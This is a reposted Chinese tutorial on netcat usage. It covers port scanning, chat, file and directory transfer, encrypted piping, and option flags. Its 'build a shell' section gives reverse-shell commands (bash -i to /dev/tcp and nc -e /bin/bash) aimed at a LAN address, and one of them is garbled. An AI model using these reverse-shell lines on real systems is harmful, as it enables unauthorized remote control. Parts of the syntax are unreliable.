码迷,mamicode.com
首页 > 其他好文 > 详细

nc命令详解

时间:2020-07-20 15:52:26      阅读:210      评论:0      收藏:0      [点我收藏+]

标签:命令   过程   扫描   输出   plain   mcr   txt   int   在线帮助   

nc命令详解

1.端口扫描

nc -z -v -n 192.168.21.135 1-100

z参数告诉nc使用0 输入/输出模式,一般在扫描通信端口的时候使用

v参数显示指令执行过程

n参数告诉nc不使用DNS反向查询ip地址的域名

技术图片

2.做为通信使用

server: nc -l 5555

client: nc 192.168.21.133 5555

l参数使用监听模式,管控传入的资料

技术图片

 

 

3.文件传输

server: nc -l 5555< aa.txt

client: nc -n 192.168.21.133 >aa.txt

技术图片

 

同样也可以互换,传输文件

server:nc -l 5555 > aa.txt

client: nc 192.168.21.133 5555 <aa.txt

4.目录传输

文件可以发送,但是目录也同样可以传输,利用管道传输起来。

server: tar -czvf- faith/ |nc -l 5555

client: nc -n 192.168.21.133 5555 | tar -zxvf -

技术图片

 

 

5.加密传输

server: nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

client: mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

6.建立shell

server:nc -lvp 5555 bash -i >& /dev/tcp/192.168.21.136/5555 0 >&1

client: nc -lvp 5555

技术图片

 

 

还有一种:

server:nc -e /bin/bash 192.168.21.136 5555

client: nc -lvp 5555

7.nc其他参数
参  数:
?
-g<网关> 设置路由器跃程通信网关,最多可设置8个。
?
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
?
-h 在线帮助。
?
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
?
-l 使用监听模式,管控传入的资料。
?
-n 直接使用IP地址,而不通过域名服务器。
?
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
?
-p<通信端口> 设置本地主机使用的通信端口。
?
-r 乱数指定本地与远端主机的通信端口。
?
-s<来源地址> 设置本地主机送出数据包的IP地址。
?
-u 使用UDP传输协议。
?
-v 显示指令执行过程。
?
-w<超时秒数> 设置等待连线的时间。
?
-z 使用0输入/输出模式,只在扫描通信端口时使用。



nc命令详解

标签:命令   过程   扫描   输出   plain   mcr   txt   int   在线帮助   

原文地址:https://www.cnblogs.com/romatic/p/13344769.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!